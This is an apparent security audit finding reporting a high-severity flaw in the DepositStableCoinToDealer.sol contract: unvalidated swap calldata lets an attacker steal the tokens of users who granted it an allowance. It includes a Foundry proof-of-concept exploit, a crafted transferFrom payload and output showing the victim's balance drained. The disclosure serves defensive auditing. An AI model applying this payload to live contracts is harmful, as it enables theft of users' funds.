ctf_sec

high

# Complete loss of fund when using DepositStableCoinToDealer.sol

## Summary

Completely loss of fund when using DepositStableCoinToDealer.sol

## Vulnerability Detail

```solidity
    constructor(
        address _JOJODealer,
        address _USDC
    ) {
        JOJODealer = _JOJODealer;
        USDC = _USDC;
    }

    function depositStableCoin(
        address asset,
        uint256 amount,
        address to,
        bytes calldata param,
        uint256 minReceive
    ) external {
        IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);
        (address approveTarget, address swapTarget, bytes memory data) = abi
        .decode(param, (address, address, bytes));
        // if usdt
        IERC20(asset).approve(approveTarget, 0);
        IERC20(asset).approve(approveTarget, amount);
        (bool success, ) = swapTarget.call(data);
        if (success == false) {
            assembly {
                let ptr := mload(0x40)
                let size := returndatasize()
                returndatacopy(ptr, 0, size)
                revert(ptr, size)
            }
        }

        uint256 USDCAmount = IERC20(USDC).balanceOf(address(this));
        require(USDCAmount >= minReceive,"receive amount is too small");
        IERC20(USDC).approve(JOJODealer, USDCAmount);
        IDealer(JOJODealer).deposit(USDCAmount, 0, to);
    }
```

the msg.sender needs to give approval to the DepositStableCoinToDealer.sol

```solidity
IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);
```

then call depositStableCoin, the hacker can backrun the approval transaction and frontrun the depositStableCoin function to steal user fund,

or if user give unlimited max spending allowance to the DepositCoinToDealer.sol contract, the hacker can steal all fund in the user wallet very easily

all hacker needs to do is set amount and minReceive to 0 and set swapTarget to usdc token address and craft transferFrom payload

when crafting transferFrom payload, the from address is the user (victim) that give spending allowance, to address is the hacker address, amount is whatever fund available in the victim's wallet

See a runnable POC in foundry

https://gist.github.com/JeffCX/4f396a666a773a5d6919add94f48bd5b

```solidity
    function testLoseFund() public {

        token.mint(address(user), 1000000 ether);

        console.log("hacker token balance before hack", token.balanceOf(hacker));
        console.log("user token balance before hack", token.balanceOf(user));

        // user give approval to the DepositStableCoinToDealer.sol contract
        vm.prank(user);
        token.approve(address(stableCoinDealer), type(uint256).max);

        // hacker 
        address asset = address(token);
        uint256 amount =  0;
        uint256 minReceive = 0;
        address to = hacker;

        address approveTarget = hacker;
        address swapTarget = address(token);
        bytes memory data = abi.encodeWithSelector(
            IERC20.transferFrom.selector,
            address(user),
            address(hacker),
            token.balanceOf(user)
        );

        bytes memory param = abi.encode(approveTarget, swapTarget, data);

        vm.prank(hacker);
        stableCoinDealer.depositStableCoin(asset, amount, to, param, minReceive);

        console.log("--------");
        console.log("hacker token balance after hack", token.balanceOf(hacker));
        console.log("user token balance after hack", token.balanceOf(user));

    }
```

if run the POC

```solidity
forge test -vv
```

the output is

```solidity
Running 1 test for test/Counter.t.sol:CounterTest
[PASS] testLoseFund() (gas: 142227)
Logs:
  hacker token balance before hack 0
  user token balance before hack 1000000000000000000000000 
  --------
  hacker token balance after hack 1000000000000000000000000
  user token balance after hack 0
```

as we can see, the user's fund is stolen after granting the spending allowance

the hacker just needs to create the payload in this way

```solidity
address approveTarget = hacker;
address swapTarget = address(token);
bytes memory data = abi.encodeWithSelector(
	IERC20.transferFrom.selector,
	address(user),
	address(hacker),
	token.balanceOf(user)
);
```


## Impact

Completely loss of fund when using DepositStableCoinToDealer.sol

## Code Snippet

https://github.com/sherlock-audit/2023-04-jojo/blob/6090fef68932b5577abf6b5aa26eb1e579353c57/smart-contract-EVM/contracts/stableCoin/DepositStableCoinToDealer.sol#L22-L49

## Tool used

Manual Review

## Recommendation

We recommend the protocol validate the swapTarget address (whitelist the swapTarget address)
